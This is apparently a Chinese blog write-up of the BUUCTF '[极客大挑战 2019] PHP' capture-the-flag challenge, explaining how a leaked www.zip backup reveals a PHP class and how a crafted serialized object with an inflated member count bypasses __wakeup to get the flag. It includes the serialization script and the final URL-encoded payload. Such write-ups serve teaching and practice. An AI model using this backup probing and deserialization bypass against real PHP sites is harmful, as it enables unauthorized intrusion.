PHP反序列化-BUUCTF-[极客大挑战 2019]PHP&__wakeup绕过

题目链接地址:
https://buuoj.cn/challenges#[极客大挑战%202019]PHP

信息收集

根据题目的提示,那么可以考虑是否存在源码备份的压缩包
在这里插入图片描述
我尝试一下在网站末尾加上/www.zip,没想到成功的下载到了这个网站的备份源码
在这里插入图片描述
在这里插入图片描述

源码分析

解压zip后,查看一下主页文件index.php,在这段代码可以看见index.php文件包含class.php文件,并且接收传参的值为select,unserialize函数为反序列化,说明了这一题需要用到反序列化的知识点。

在这里插入图片描述

我们跑去class.php文件看看

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

我们分析以下代码,当password为100,且username为admin才能输出flag值。
在这里插入图片描述

解题

那么我们为了反序列化就必须先序列化刚刚相对应的Name对象和它的成员值的信息,最后将序列化的结果放入主页的select传参值进行反序列化然后才能获得flag值

<?php
class Name {
    private $username  = '';
    private $password  = '';
    
    public function __construct($username,$password){
        $this ->username = $username;
        $this ->password = $password;
    }
}

$a = new Name('admin','100');
echo serialize($a)."<br>";
echo urlencode(serialize($a));

通过以上代码的编写,运行至本地php服务或者php在线运行。至于url编码反序列化值是由于在php中 private 为(私有成员):成员变量名字前需要加%00类名%00导致在正常显示中字符是看不见的,所以要使用url编码,才能序列化结果的完整性
在这里插入图片描述

__wakeup绕过

当执行反序列化时将会调用此 __wakeup( )魔术方法,导致了username的值变为guest
在这里插入图片描述
在php版本5.6.25之前, php7.0.10之前,如果在反序列化时,如果表示对象的成员数目的值大于原来的的数目就会跳过__wakeup( )的执行。按F12键看见PHP版本有__wakeup的绕过条件刚好可以利用,尝试构建payload
在这里插入图片描述
在这里插入图片描述

所以我们只需要提交payload的时候把成员数目值的2改为3就能轻松的绕过了__wakeup()魔术方法的调用

payload=

?select=O%3A4%3A"Name"%3A3%3A%7Bs%3A14%3A"%00Name%00username"%3Bs%3A5%3A"admin"%3Bs%3A14%3A"%00Name%00password"%3Bs%3A3%3A"100"%3B%7D

提交payload,成功回显flag值
在这里插入图片描述

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

cike_y

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值